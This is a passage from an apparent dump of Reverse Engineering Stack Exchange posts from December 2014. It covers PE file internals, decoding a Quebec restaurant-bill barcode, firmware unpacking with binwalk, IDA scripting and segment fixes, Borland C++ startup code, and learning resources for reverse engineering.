        "Body": "<p>It seems that Windows usually finds its support structures inside PEs by looking at the header information (especially OptionalHeader.DataDirectory[]), which means that there is no mandatory mapping between these data blocks and certain COFF sections (even though it is somewhat customary, as with .rsrc). As a consequence the COFF sections and their names tend to be all over the place when an executable has been mangled by a packer, 'protector' or some such.</p>\n\n<p>However, it seems that Windows determines location and size of the .pdata (array of <a href=\"http://msdn.microsoft.com/en-us/library/ft9x1kdx.aspx\" rel=\"nofollow\">RUNTIME_FUNCTION</a>) via the .pdata COFF section header. Is that correct?</p>\n\n<p>That would make this section unique in that even the most hare-brained 'protector' would have to emit accurate information under the correct name, or register that information dynamically...</p>\n",
        "Title": "Win64 .pdata required to be a separate COFF section?",
        "Tags": "|windows|pe|seh|binary-format|",
        "Answer": "<p>No, the Windows loader doesn't care about the name of the <code>.pdata</code> section. It doesn't find the <code>RUNTIME_FUNCTION</code> structs based on the section name, but rather based on the content of <code>NtHeader-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]</code>.</p>\n\n<p>Furthermore, the <code>RUNTIME_FUNCTION</code> structs don't need to be in \"a separate COFF section\".</p>\n"
    },
    {
        "Id": "6856",
        "CreationDate": "2014-12-19T17:05:15.420",
        "Body": "<p>Let me explain what I'm trying to do, and then where I am at...</p>\n\n<p>As you can see on this image :</p>\n\n<p><img src=\"https://i.stack.imgur.com/sRldz.jpg\" alt=\"enter image description here\"></p>\n\n<p>There is a PDF417 at the end containing a string that at my best guess is some base64 string.</p>\n\n<p>Here it is :</p>\n\n<blockquote>\n  <p>3GLDjVKaUbwysHTAffMyChP1wqzvc/h41aebPrw0PsprtPy85tBa87vzsLw6hL8t5FBJLGlHODGQ0O8ml0OKs7mmqgB1pZsAvcs2CyAgICA0MzA2MzjAyzYLICAgICBKdWxpZSAgIDMwU09CUwAApQAAagcAAAAAAAAA</p>\n</blockquote>\n\n<p>And when I decode it, I get the following :</p>\n\n<p><img src=\"https://i.stack.imgur.com/dOVD1.png\" alt=\"enter image description here\"></p>\n\n<p>I kind of found the waitress name \"Julie\" and in front of it, there is a bunch of space characters, which I guess it is because there is a limited size to the name.</p>\n\n<p>Same for the bill number, and the table number.</p>\n\n<p>But I was wondering what kind of information was in the previous bits, so any idea how to proceed to decode/decrypt this information would be greatly appreciated.</p>\n\n<hr>\n\n<p>The machine used for the generation of the base64 string and its content is a \"AEC-6822\".</p>\n\n<p>And here is some unrelated information to what I'm trying to do, but may help... (I hope)\n<a href=\"http://www.revenuquebec.ca/documents/en/publications/in/in-577-v(2013-08).pdf\" rel=\"noreferrer\">http://www.revenuquebec.ca/documents/en/publications/in/in-577-v(2013-08).pdf</a></p>\n\n<p>Thank you very much,\nANY help is greatly appreciated!</p>\n",
        "Title": "Reverse Engineering Quebec Canada PDF417 restaurant bills",
        "Tags": "|decryption|",
        "Answer": "<p>Based on a few samples, here is an overview of some fields that can be read in clear.</p>\n\n<p>Source: <a href=\"https://github.com/fproulx/tastybits/blob/master/NOTES.md\" rel=\"nofollow noreferrer\">https://github.com/fproulx/tastybits/blob/master/NOTES.md</a></p>\n\n<p>Datasets: <a href=\"https://github.com/fproulx/tastybits/tree/master/sample-data\" rel=\"nofollow noreferrer\">https://github.com/fproulx/tastybits/tree/master/sample-data</a></p>\n\n<h1>Unofficial specification</h1>\n\n<blockquote>\n  <ul>\n  <li>PDF417 barcode with BASE64 encoded binary payload</li>\n  <li>Always 0x7A bytes long == 122 bytes == 976 bits</li>\n  <li>Endianness appears to be Little Endian (Intel)</li>\n  <li>[0x00, 0x39] Unknown data. Always differs from bill to bill.</li>\n  <li>[0x40, 0x43] MEV serial number\n  \n  <ul>\n  <li><em>Notes:</em> left-aligned binary 32-bits little endian, zero padded (0x00)</li>\n  </ul></li>\n  <li>[0x44, 0x47] MEV transaction counter (monotonically increasing)\n  \n  <ul>\n  <li><em>Notes:</em> left-aligned binary 32-bits little endian, zero padded (0x00)</li>\n  </ul></li>\n  <li>[0x48, 0x4B]  Unknown data</li>\n  <li>[0x4C, 0x55] Unique bill/transaction number\n  \n  <ul>\n  <li><em>Notes:</em> right-aligned ASCII text, whitespace padded (0x20)</li>\n  </ul></li>\n  <li>[0x56, 0x59] Bill datetime\n  \n  <ul>\n  <li><em>Note:</em> Number of seconds from MRQ Epoch (2009-01-01)</li>\n  </ul></li>\n  <li>[0x5A, 0x63] Employee name\n  \n  <ul>\n  <li><em>Notes:</em> right-aligned ASCII text, whitespace padded (0x20)</li>\n  </ul></li>\n  <li>[0x64, 0x6B] Vendor field, typically table number, takeout, etc.\n  \n  <ul>\n  <li><em>Notes:</em> right-aligned ASCII text, whitespace padded (0x20)</li>\n  </ul></li>\n  <li>[0x6C, 0x6E] TPS value in cents \n  \n  <ul>\n  <li><em>Notes:</em> left-aligned binary 24-bits, little-endian, zero padded (0x00)</li>\n  </ul></li>\n  <li>[0x6F, 0x71] TVQ value in cents\n  \n  <ul>\n  <li><em>Notes:</em> left-aligned binary 24-bits, little-endian, zero padded (0x00)</li>\n  </ul></li>\n  <li>[0x72, 0x77] Total price (including TPS+TVQ) in cents\n  \n  <ul>\n  <li><em>Notes:</em> left-aligned binary 24-bits, little-endian, zero padded (0x00)</li>\n  </ul></li>\n  <li>[0x78, 0x7A] Constant data (0C:43:0E)</li>\n  </ul>\n</blockquote>\n"
    },
    {
        "Id": "6862",
        "CreationDate": "2014-12-20T18:37:54.477",
        "Body": "<p>How can someone with little programming knowledge except for some Ruby on Rails/Ruby begin on a path of Reverse Engineering as a hobbyist to help the exploitation process of modern-day gaming consoles like Xbox Ones and PS4s?</p>\n\n<p>I realize there is no simple \"do this, then that\" spoon-fed process of learning an extremely diverse subject matter like reversing but there are such vast amounts of tutorials that I have no idea which ones really pertain to my interest of specifically <strong><em>game console exploitation</em></strong>! I really want to help contribute to the long-term process of finding these vulnerabilities and get unsigned code running on these systems</p>\n",
        "Title": "How to start learning reverse engineering to eventually help exploiting of modern consoles like Xbox One, PS4?",
        "Tags": "|disassembly|obfuscation|exploit|embedded|",
        "Answer": "<p>Some things you will inevitably have to know at some degree to be able to reverse engineer Game Consoles:</p>\n\n<ul>\n<li><p>Learn a lower level language such as C or C++. Most, if not all, Console games, modern and old, use these two languages for the bulk of the game (AKA, the Engine). This is important for my next point, which is:</p></li>\n<li><p>Learn about the architecture of game software. Internally, games are not very different from one another. There are common data structures and algorithms that are needed by most games, and these needs reflect in the hardware. Learning the tools that engineers used to create these structures (C/C++) and knowing the structures and algorithms themselves, will help a lot when you have to make assumptions and guesses during the hacking process.</p></li>\n<li><p>You'll obviously have to get familiar with hexadecimal dumps and assembly languages to be able to make sense of reversed Console code and ROMs.</p></li>\n<li><p>Write a console game, preferably using an unofficial SDK. This is something that can also greatly improve your knowledge of the hardware and platform. Find out about the \"home brew\" community for your favorite Console and attempt to write a simple game using the available tools. You will have to solve a lot of hardware-specific problems and do a lot of guessing, since documentation is frequently rare. You'll gain valuable knowledge in the process.</p></li>\n<li><p>Contribute to an emulator project. This is also a great way of acquiring knowledge about the hardware. The best possible way, I'd argue, since you will be trying to mimic the hardware with a piece of software.</p></li>\n</ul>\n"
    },
    {
        "Id": "6867",
        "CreationDate": "2014-12-21T17:39:08.313",
        "Body": "<p>I'm in the process of trying to reverse engineer a GPS-watch firmware image in purpose of adding a new feature to the watch. Here's what I got so far</p>\n\n<ul>\n<li>I have the firmware image (.gcd file). AFAIK it's no common image, I couldn't find <em>any</em> information about it from googling</li>\n</ul>\n\n<p>Here's the <code>binwalk</code> output:</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n344446        0x5417E         Zlib compressed data, default compression\n548342        0x85DF6         Zlib compressed data, default compression\n548698        0x85F5A         Zlib compressed data, default compression\n548849        0x85FF1         Zlib compressed data, compressed\n549789        0x8639D         Zlib compressed data, compressed\n550677        0x86715         Zlib compressed data, compressed\n550878        0x867DE         Zlib compressed data, default compression\n551849        0x86BA9         Zlib compressed data, default compression\n551871        0x86BBF         Zlib compressed data, best compression\n552002        0x86C42         Zlib compressed data, default compression\n552145        0x86CD1         Zlib compressed data, compressed\n552274        0x86D52         Zlib compressed data, default compression\n552425        0x86DE9         Zlib compressed data, compressed\n552778        0x86F4A         Zlib compressed data, default compression\n553056        0x87060         Zlib compressed data, default compression\n553199        0x870EF         Zlib compressed data, compressed\n554875        0x8777B         Zlib compressed data, compressed\n555202        0x878C2         Zlib compressed data, default compression\n555341        0x8794D         Zlib compressed data, compressed\n555600        0x87A50         Zlib compressed data, default compression\n555778        0x87B02         Zlib compressed data, default compression\n555928        0x87B98         Zlib compressed data, default compression\n556221        0x87CBD         Zlib compressed data, compressed\n556502        0x87DD6         Zlib compressed data, default compression\n556612        0x87E44         Zlib compressed data, default compression\n556953        0x87F99         Zlib compressed data, compressed\n559176        0x88848         Zlib compressed data, default compression\n559922        0x88B32         Zlib compressed data, default compression\n560116        0x88BF4         Zlib compressed data, default compression\n560292        0x88CA4         Zlib compressed data, default compression\n560417        0x88D21         Zlib compressed data, compressed\n560774        0x88E86         Zlib compressed data, default compression\n561567        0x8919F         Zlib compressed data, default compression\n562207        0x8941F         Zlib compressed data, best compression\n670601        0xA3B89         Zlib compressed data, best compression\n673859        0xA4843         Zlib compressed data, compressed\n678389        0xA59F5         Zlib compressed data, default compression\n797326        0xC2A8E         Zlib compressed data, default compression\n811248        0xC60F0         Zlib compressed data, compressed\n850955        0xCFC0B         Zlib compressed data, best compression\n1023917       0xF9FAD         Zlib compressed data, best compression\n1079306       0x10780A        Zlib compressed data, default compression\n1278786       0x138342        Zlib compressed data, default compression\n1278986       0x13840A        Zlib compressed data, default compression\n1279066       0x13845A        Zlib compressed data, default compression\n1279106       0x138482        Zlib compressed data, default compression\n1279186       0x1384D2        Zlib compressed data, default compression\n1279226       0x1384FA        Zlib compressed data, default compression\n1281321       0x138D29        Copyright string: \" 2002-2009n\"\n1284386       0x139922        XML document, version: \"1.0\"\n1294150       0x13BF46        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 754974720 bytes\n1294166       0x13BF56        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1294182       0x13BF66        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1294206       0x13BF7E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1294222       0x13BF8E        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 419430400 bytes\n1370193       0x14E851        Zlib compressed data, default compression\n</code></pre>\n\n<p>It all seems like a false positive because when I run \n<code>binwalk -e</code> I get these files as output:</p>\n\n<p><img src=\"https://i.stack.imgur.com/jrxCN.png\" alt=\"enter image description here\"></p>\n\n<p>All files without file suffixes are empty and the zip files give an error. ( I can't unzip the zlib files)</p>\n\n<p>From <code>hexdump</code> output I see quite a lot of ascii which I guess indicates it's not encrypted. Especially I've found that there seems to be some sort of language files between <code>0x10780A</code> and <code>0x138342</code></p>\n\n<p>I've included the hexdump as hex2.out</p>\n\n<p><a href=\"https://www.dropbox.com/sh/60fl2temsvbf29i/AAAAX1-vz-M-LWhnGs5aAsvCa?dl=0\" rel=\"nofollow noreferrer\">All the files can be found here</a></p>\n\n<p><strong>My question is:</strong> Where do I go from here? Please help, I've no idea.</p>\n",
        "Title": "Trying to reverse GPS Watch firmware image with binwalk",
        "Tags": "|firmware|embedded|",
        "Answer": "<p>The Garmin GCD file format is documented <a href=\"http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=115804#777367\" rel=\"noreferrer\">here</a>, with some additional information <a href=\"http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=115804#777367\" rel=\"noreferrer\">here</a> and <a href=\"http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=117239\" rel=\"noreferrer\">here</a>.</p>\n\n<p>Furthermore, it looks like somebody already wrote a <a href=\"http://www.gpspassion.com/forumsen/topic.asp?TOPIC_ID=137838\" rel=\"noreferrer\">tool</a> (mirrored <a href=\"http://garminmontanagpsr.wikispaces.com/file/view/RGN_Tool.exe/333010964/RGN_Tool.exe\" rel=\"noreferrer\">here</a>) for handling and manipulating Garmin GCD files:</p>\n\n<p><img src=\"https://i.stack.imgur.com/StceH.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "6872",
        "CreationDate": "2014-12-21T23:06:35.780",
        "Body": "<p>I'm trying to reverse a server executable(linux) and I need to find what calls sendmsg. Usually I can just use the xrefs in IDA, but in this case it doesn't show me anything. However, if I set a breakpoint at it I can see it being called when I connect. So my question to you is: how can I find out how the program got to the sendmsg?</p>\n",
        "Title": "IDA: Finding out what calls sendmsg",
        "Tags": "|ida|linux|",
        "Answer": "<p>Breakpoint at the beginning of the function and check the stack for the return address. Or hook your function in c++ for instance and log the _ReturnAddress ()</p>\n"
    },
    {
        "Id": "6876",
        "CreationDate": "2014-12-23T07:02:37.970",
        "Body": "<p>I have been looking on the net and all I see when it comes to reverse engineering are a bunch of silly crackme tutorials. I want to be better at taking code from assembly to c or c++. I am getting the feeling that I am going to have to have to pick this all in time and or make a bunch of small programs and break them apart.I would like to build on what might be already out there. I am already some what proficient in what I am doing just I want to be better.</p>\n\n<p>For example:</p>\n\n<pre><code>mov     eax, DDrawPtr\npush    8\npush    1E0h\npush    280h\nmov     ecx, [eax]\npush    eax\ncall    dword ptr [ecx+54h]\n</code></pre>\n\n<p>Hex-rays translates this as </p>\n\n<pre><code>v1 = (*(**DDrawPtr + 0x54))(*DDrawPtr, 640, 480, 8)\n</code></pre>\n\n<p>which is ok.... It should be .</p>\n\n<pre><code>HANDLE v1 = DDrawPtr -&gt; SetDisplayMode(640,480,8);\n</code></pre>\n\n<p>or sometimes IDA makes mistakes and will say</p>\n\n<pre><code>int __cdecl sub_41B869()\n</code></pre>\n\n<p>Where as this code doesn't return anything and is supposed to be a void....</p>\n\n<p>I found a neat question and answer here <a href=\"https://reverseengineering.stackexchange.com/questions/2096/convert-this-x86-asm-to-c\">Stackoverflow question/answer</a>.\nI am wanting to learn more like this because I am realizing that IDA makes mistakes. I want to know how to recognize function types and more importantly do this by hand, because I am seeing IDA make mistakes and I feel that I should learn to recognize better these mistakes and see how I can manually if need bring it back.</p>\n\n<p>Here is a book that does this somewhat but it goes from C to assembly not the other way around. <a href=\"http://beginners.re/RE_for_beginners-en.pdf\" rel=\"nofollow noreferrer\">reverse engineering pdf</a></p>\n\n<p>Any suggestions?</p>\n",
        "Title": "Becoming A Better Reverse Engineer",
        "Tags": "|decompilation|c++|c|",
        "Answer": "<p>These suggestions may help.  One sure way of becoming a better reverse engineer is to become a better \"forward engineer\"!  Here's what I would suggest:</p>\n\n<ol>\n<li><strong>Examine the assembly output of various compilers.</strong>  Write test programs of increasing complexity and examine the assembly language output so that you get a sense of what the compiler does for any given high level construct.</li>\n<li><strong>Try running binaries through a decompiler.</strong> This will allow you to see how those same programs are interpreted by a tool and allow you to begin to see the kinds of errors that the tools make.</li>\n<li><strong>Try completely reverse engineering a small project.</strong> It's not hard to find source code for all kinds of things these days.  Pick an open source project that you are <em>not</em> familiar with, compile it without peeking at the code and try to reverse engineer it entirely.  Alternatively, try reverse engineering some particular routine or aspect (which is more usual).</li>\n<li><strong>Try to write code to fool the decompiler.</strong> Open source projects typically don't take any anti-disassembly measures but other kinds of software (e.g. malware) often does.  Learn these techniques in the forward direction and then look at the results with your reverse engineering tools.  You'll get a feel for which techniques are successful and why.</li>\n</ol>\n\n<p>Hope that helps.</p>\n"
    },
    {
        "Id": "6884",
        "CreationDate": "2014-12-25T13:10:17.797",
        "Body": "<p>So I want to track when a certain file is loaded into an Win32 app. That's way I put a break-point on 'CreateFile' which compares the first parameter with the target file name, but the problem is that it is a case-sensitive comparison. How to do it non-sensitive?</p>\n\n<p>Here is the break-point condition on 'CreateFileA':</p>\n\n<pre><code>GetString(DbgDword(esp + 0x4), -1, ASCSTR_C)  == \"D:\\\\3K-MILLENNIUM\\\\3K-MILLENNIUM\\\\USER_LAW.TXT\"\n</code></pre>\n\n<p>Any ideas?</p>\n",
        "Title": "How to compare no-case sensitive strings IDC",
        "Tags": "|ida|debugging|winapi|",
        "Answer": "<p>I was able to do this comparsion using IDA-Python 1.7.0 and IDA Demo 6.6. The script code is this:</p>\n\n<pre><code>Tmp = GetString(DbgDword(cpu.ESP + 0x4), -1, ASCSTR_C)\n\nreturn str(Tmp).upper() == \"D:\\\\3K-MILLENNIUM\\\\3K-MILLENNIUM\\\\USER_LAW.TXT\"\n</code></pre>\n\n<p>Link to <a href=\"https://onedrive.live.com/redir?resid=EFFB2D14F5621F5F%216706\" rel=\"nofollow\">IDA-Python 1.7.0</a>, compiled for Win32 (32bit &amp; 64bit).</p>\n"
    },
    {
        "Id": "6894",
        "CreationDate": "2014-12-27T06:18:31.037",
        "Body": "<p>I want to test some approach in symbolic execution in windows binaries and doesn't want to write a new one from scratch and also this tool must be reliable at research levels.</p>\n\n<p>I found S2E and BitBlaze earlier but not any documentation for testing windows binaries.</p>\n",
        "Title": "What are the open source symbolic execution tools for windows binaries",
        "Tags": "|windows|binary-analysis|",
        "Answer": "<p><strong><a href=\"https://github.com/jjyg/metasm/\" rel=\"nofollow\">Metasm</a></strong> and <strong><a href=\"https://github.com/cea-sec/miasm\" rel=\"nofollow\">Miasm</a></strong> can perform symbolic execution on Windows binaries. <em>Metasm</em> is written in pure ruby with no dependencies. <em>Miasm</em> is written in python. You can find some usages of the above frameworks in the book <em><a href=\"http://rads.stackoverflow.com/amzn/click/1502489309\" rel=\"nofollow\">Practical Reverse Engineering</a></em>. Besides you can always Google for more.</p>\n\n<p><a href=\"http://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html\" rel=\"nofollow\">Here</a> is an hands-on example of using miasm for symbolic execution.</p>\n"
    },
    {
        "Id": "6896",
        "CreationDate": "2014-12-27T17:34:32.400",
        "Body": "<p>Can someone recommend any tutoial or books on how to analyze unknown network protocol. Basically given the dumps of network traffic, I need some guide/examples on reversing the protocol.</p>\n",
        "Title": "Books/tutorial on reversing protocol",
        "Tags": "|protocol|",
        "Answer": "<p>The <a href=\"http://fumalwareanalysis.blogspot.de/2011/08/malware-analysis-tutorial-reverse.html\" rel=\"nofollow\">Malware Analysis Tutorial 1</a> on Dr Fu's Security Blog involves running a piece of malware inside a Windows VM and capturing its network traffic using wireshark in a Linux VM set up for the purpose. Among other things. That should cover the 'acquisition' part of your project nicely in case plain wireshark on its own should not be enough...</p>\n\n<p>As regards <a href=\"https://www.wireshark.org/\" rel=\"nofollow\">Ethereal/Wireshark</a> as such, there's a <a href=\"http://en.wikiversity.org/wiki/Wireshark\" rel=\"nofollow\">series of tuts on Wikiversity</a> and Google turns up a gazillion more.</p>\n\n<p>As regards the analysis portion I found these quite interesting:</p>\n\n<ul>\n<li><a href=\"http://digital-forensics.sans.org/blog/2012/07/03/an-overview-of-protocol-reverse-engineering\" rel=\"nofollow\">An Overview Of Protocol Reverse-Engineering</a></li>\n<li><a href=\"http://www.netzob.org/\" rel=\"nofollow\">Reverse Engineering Communication Protocols (netzob)</a></li>\n<li><a href=\"http://www.di.fc.ul.pt/~nuno/PAPERS/WCRE11.pdf\" rel=\"nofollow\">Reverse Engineering of Protocols from Network Traces</a></li>\n</ul>\n"
    },
    {
        "Id": "6900",
        "CreationDate": "2014-12-28T00:38:44.957",
        "Body": "<p>I'm trying to reverse engineer an ages-old game compiled with Borland C++ in 1995. So far, I have found out that start @0x401000 passes to __startup in cw3220.dll (which apparently is Borland's C++ runtime dll) the following:</p>\n\n<ol>\n<li><p>pointer to the begin of a list of global static constructors (<code>{ char flag0; char flag1; void* fun}</code>)</p></li>\n<li><p>pointer to end of said list</p></li>\n<li>pointer to begin of a list of destructors (as above)</li>\n<li>pointer to end of dtor list</li>\n<li>int flag - GUI app or not (should __startup call <code>main(argc,argv,env)</code> or <code>WinMain(hInstance,hPrevInstance,lpCmdLine,nShowCmd)</code>)</li>\n<li>unknown int flag1</li>\n<li>pointer to entry function</li>\n<li>pointer to a function which IDA has automagically named <code>matherr</code></li>\n<li>pointer to a function <code>matherrl</code></li>\n<li>unknown int flag2</li>\n<li>unknown int flag3</li>\n</ol>\n\n<p>Is there any documentation available which tells the meaning of flag1/2/3 in the info struct, flag0/1 in the ctor list entries and how Borland C++ handles exceptions - functions using classes always call <code>__InitExceptBlock</code>, but I never see checks for exceptions after function calls, how is try/catch handled?</p>\n",
        "Title": "Borland C++ runtime startup",
        "Tags": "|windows|c++|",
        "Answer": "<p><code>cw3220.dll</code> indicates that you're looking at BC++ 5.0. AFAICS the only official documentation regarding the startup code is <a href=\"http://pastebin.com/ParJ3683\" rel=\"nofollow\">BC5/source/RTL/source/startup/Win32/c0nt.asm</a>, plus <code>_startup.h</code> and <code>startup.c</code> (also somewhere under <code>source/RTL</code>). The struct is defined in <code>_startup.h</code>:\n</p>\n\n<pre><code>typedef struct module_data\n{\n    INIT *init_start;           /* start of a module's _INIT_ segment */\n    INIT *init_end;             /* end of a module's _INIT_ segment */\n    INIT *exit_start;           /* start of a module's _EXIT_ segment */\n    INIT *exit_end;             /* end of a module's _EXIT_ segment */\n    int  flags;                 /* flags (see below) */\n    int  hmod;                  /* module handle */\n    int  (*main)();             /* main/WinMain/_dllmain function */\n    int  (*matherr)(void *);    /* (EXE only) _matherr function */\n    int  (*matherrl)(void *);   /* (EXE only) _matherrl function */\n    long stackbase;             /* (EXE only) base of stack */\n    int  *fmode;                /* (EXE only) address of _fmode variable */\n} MODULE_DATA;\n\n/* MODULE_DATA flags.\n */\n#define MF_WINDOWS  1           /* this is a Windows application */\n</code></pre>\n\n<p>If you install from PAKs then it can happen that the RTL sources don't get installed even if you select everything, but the RTL source is present in the BC5 directory on the installation CD (at least in my copy). That documents at least the calling side.</p>\n\n<p>A lot of BC++ 4 internals were documented in the <a href=\"https://github.com/mildred/Lysaac/blob/master/doc/boa.cp437.txt\" rel=\"nofollow\">Borland Open Architecture Handbook</a> that had to be ordered separately at nominal cost (one floppy). I can't locate the stuff ATM but I've seen copies floating around on the 'net, under the name of <code>bc4boa.zip</code>...</p>\n"
    },
    {
        "Id": "6901",
        "CreationDate": "2014-12-28T10:38:58.000",
        "Body": "<p>I'm reversing an x86 executable with IDA pro. Here is the beginning of the function causing problems to IDA stack pointer analysis. I'm showing the stack pointer value in the second column:</p>\n\n<pre><code>.text:002C35B0 000                 push    ebp\n.text:002C35B1 004                 mov     ebp, esp\n.text:002C35B3 004                 and     esp, 0FFFFFFF8h\n.text:002C35B6 004                 push    0FFFFFFFFh\n.text:002C35B8 008                 push    offset sub_75B75D\n.text:002C35BD 00C                 mov     eax, large fs:0\n</code></pre>\n\n<p>In the third line, the <code>and</code> is not changing the <code>esp</code> value for IDA and I suppose this is the reason for having unknown <code>esp</code> offsets throughout the function. I have the following questions:</p>\n\n<ul>\n<li>what is the purpose of this operation? Why not a normal <code>sub</code> or <code>add</code> here?</li>\n<li>what is the value of the stack pointer after that?</li>\n</ul>\n",
        "Title": "IDA stack pointer analysis fails due to \"and\" operation to esp",
        "Tags": "|ida|x86|",
        "Answer": "<p><code>and esp, not 7</code> aligns the stack pointer (down) to a multiple of eight, by computing the moral equivalent of <code>esp -= esp % 8;</code> (which would require more instructions). You can manually change the simulated stack pointer by hitting Alt+K on the instruction and entering -4. </p>\n\n<p>SP-related things in IDA tend to be a bit confusing because you never really know whether you are working in the realm of IDA's virtual inverted stack (as evidenced by the positive stack pointer offsets shown in the disassembly) or not... So you have to experiment, see what IDA does when you enter certain values.</p>\n\n<p>Also, most things regarding simulation, constant/parameter propagation (<code>this</code> pointers!) and so on seem to have been reserved for the decompiler product, which might explain why IDA itself has seen little progress in that regard over the last decade. </p>\n\n<p>Be that as it may, the small difference of -4 is probably not the reason you're seeing bad stack offsets. IDA sometimes gets confused when there are function chunks involved, or multiple code paths involving alloca() and so on (especially if the function epilogue is not located in the main chunk). </p>\n\n<p>If you're still having problems you could put a bigger snippet on pastebin and post a link here. Also, if you have an active support plan then you could contact Hex-Rays; when I had a problem with stack pointers in a big IDB imported from an older version of IDA I sent in the IDB and they fixed it for me...</p>\n"
    },
    {
        "Id": "6905",
        "CreationDate": "2014-12-28T12:05:02.173",
        "Body": "<p>Microsoft documentation gives <a href=\"https://learn.microsoft.com/en-gb/windows/win32/api/winbase/nf-winbase-winmain\" rel=\"nofollow noreferrer\">WinMain()</a> as the entry point for a Windows program, but unlike <a href=\"https://learn.microsoft.com/en-gb/windows/win32/dlls/dllmain\" rel=\"nofollow noreferrer\">DllMain()</a> it seems to be a pure fiction arranged by the compiler-provided startup code.</p>\n<p>I've looked at the output of a few Win32 compilers (32-bit and 64-bit) and in all cases the information passed to <code>WinMain()</code> was synthesised by the startup code and not based on any parameters passed to the entry point by the Windows loader. Also, all the samples I analysed - and all the examples I remember seeing on the 'net - used <code>ExitProcess()</code> even though a simple return from the entry point seems to have exactly the same effect.</p>\n<p>Does anyone know of any documentation - official or otherwise - regarding the game rules for PE32(+) entry points?</p>\n",
        "Title": "Real PE32(+) entry point - is it documented anywhere?",
        "Tags": "|windows|pe|entry-point|",
        "Answer": "<blockquote>\n<p>Microsoft documentation gives <a href=\"https://learn.microsoft.com/en-gb/windows/win32/api/winbase/nf-winbase-winmain\" rel=\"nofollow noreferrer\">WinMain()</a> as the entry point for a\nWindows program</p>\n</blockquote>\n<p>No, Microsoft's documentation doesn't give WinMain() as <em>the</em> entry point for a Windows program.</p>\n<p>From the WinMain() documentation to which you linked above (emphasis mine) - &quot;WinMain entry point [is] the <strong>user-provided entry point</strong> for a graphical Windows-based application... Depending on the programming framework, <strong>the call to the WinMain function can be preceded and followed by additional activities specific to that framework</strong>.&quot;</p>\n<p>In other words, if you're building a native application, your compiler will likely build your executable file such that its framework initialization code is executed before your WinMain() function.</p>\n<blockquote>\n<p>Does anyone know of any documentation - official or otherwise -\nregarding the game rules for PE32(+) entry points?</p>\n</blockquote>\n<p>Yes, from the <a href=\"https://learn.microsoft.com/en-gb/windows/win32/debug/pe-format\" rel=\"nofollow noreferrer\">Microsoft PE and COFF Specification</a>, the <code>AddressOfEntryPoint</code> field in the PE header is defined as &quot;For program images, this is the starting address.&quot; It's this field that will typically point to the framework initialization code described above.</p>\n<p>Note that despite <code>AddressOfEntryPoint</code> being the starting address of the program, the code at that address will be executed <em>after</em> TLS callback functions (also documented in the PE/COFF documentation) if they exist, and after statically loaded DLLs' DllMain() functions.</p>\n<blockquote>\n<p>parameters passed to the entry point by the Windows loader</p>\n</blockquote>\n<p>As explained <a href=\"https://stackoverflow.com/a/6029691\">here</a> by @igor-skochinsky, &quot;the registers at the entry point of PE file do not have defined values.&quot; However, as he points out, <code>EAX</code> often points to the <code>AddressOfEntryPoint</code> and <code>EBX</code> often points to the PEB.</p>\n<p>You may want to refer to @Ange's <a href=\"https://code.google.com/archive/p/corkami/wikis/InitialValues.wiki\" rel=\"nofollow noreferrer\">Initial values</a> documentation to find other unofficial register values at entry point.</p>\n"
    },
    {
        "Id": "6907",
        "CreationDate": "2014-12-28T15:17:26.890",
        "Body": "<p>In the program I'm trying to reverse engineer, originally IDA only created three segments: <code>CODE</code>, <code>DATA</code> and <code>.idata</code>.</p>\n\n<p>Using the information from the compiler source code (<a href=\"http://pastebin.com/ParJ3683\" rel=\"nofollow\">http://pastebin.com/ParJ3683</a> lines 30-78), I determined that infact DATA was concatenated out of (at least) four segments, <code>DATA</code>,<code>INITDATA</code>,<code>EXITDATA</code> and <code>BSS</code>.</p>\n\n<p>So I created three new segments with the specified alignments (word/dword) and the appropriate boundaries; while all data appeared in the correct segment bounds, all references to what had been in the DATA segment and is now in BSS are now totally messed up:</p>\n\n<pre><code>CODE:00401A8A                 push    ds:globalErrorMessagesCaption[eax*4] ; lpCaption\n</code></pre>\n\n<p>turned into </p>\n\n<pre><code>CODE:00401A8A                 push    dword ptr ds:(algn_481049+187h)[eax*4] ; lpCaption\n</code></pre>\n\n<p>The section header is</p>\n\n<pre><code>_BSS:00481106 ; Segment type: Pure data\n_BSS:00481106 _BSS            segment dword public 'DATA' use32\n_BSS:00481106                 assume cs:_BSS\n_BSS:00481106                 ;org 481106h\n</code></pre>\n\n<p>What has gone wrong here and how can I fix it?</p>\n",
        "Title": "IDA segmentation problem",
        "Tags": "|ida|segmentation|",
        "Answer": "<p>IDA cannot reference symbols within a segment unless that segment has a valid selector, so that's the most important property to set for a new segment. The selector can be set in the 'Create Segment...' dialogue via the field \"base in paragraphs\". </p>\n\n<p><code>GetSegmentAttr(here, SEGATTR_SEL)</code> tells you what the proper selector is, if the cursor is in the segment to be split. You can type the expression right into the input field of the dialogue; by the same token you can type <code>here</code> into the begin address field and <code>SegEnd(here)</code> into the end address field.</p>\n\n<p>Here's an IDC snippet (Shift-F2) that splits the current segment at the current position, cloning most relevant properties (including SEGATTR_SEL):\n</p>\n\n<pre><code>CompileEx(\n  \"class HelperFunctions {\"\n    \"copy_seg_attr (src, dst, attr) { SetSegmentAttr(dst, attr, GetSegmentAttr(src, attr)); }\"\n  \"};\", 0  );\n\nauto ori_seg, ok, fn;\n\nori_seg = SegStart(here);\n\nok = AddSegEx(\n   here, \n   SegEnd(here), \n   GetSegmentAttr(here, SEGATTR_SEL),\n   GetSegmentAttr(here, SEGATTR_BITNESS),\n   GetSegmentAttr(here, SEGATTR_ALIGN),\n   GetSegmentAttr(here, SEGATTR_COMB),\n   ADDSEG_NOSREG  );\n\nif (!ok)  return Warning(\"AddSegEx() failed\");\n\nfn = HelperFunctions();    \nfn.copy_seg_attr(ori_seg, here, 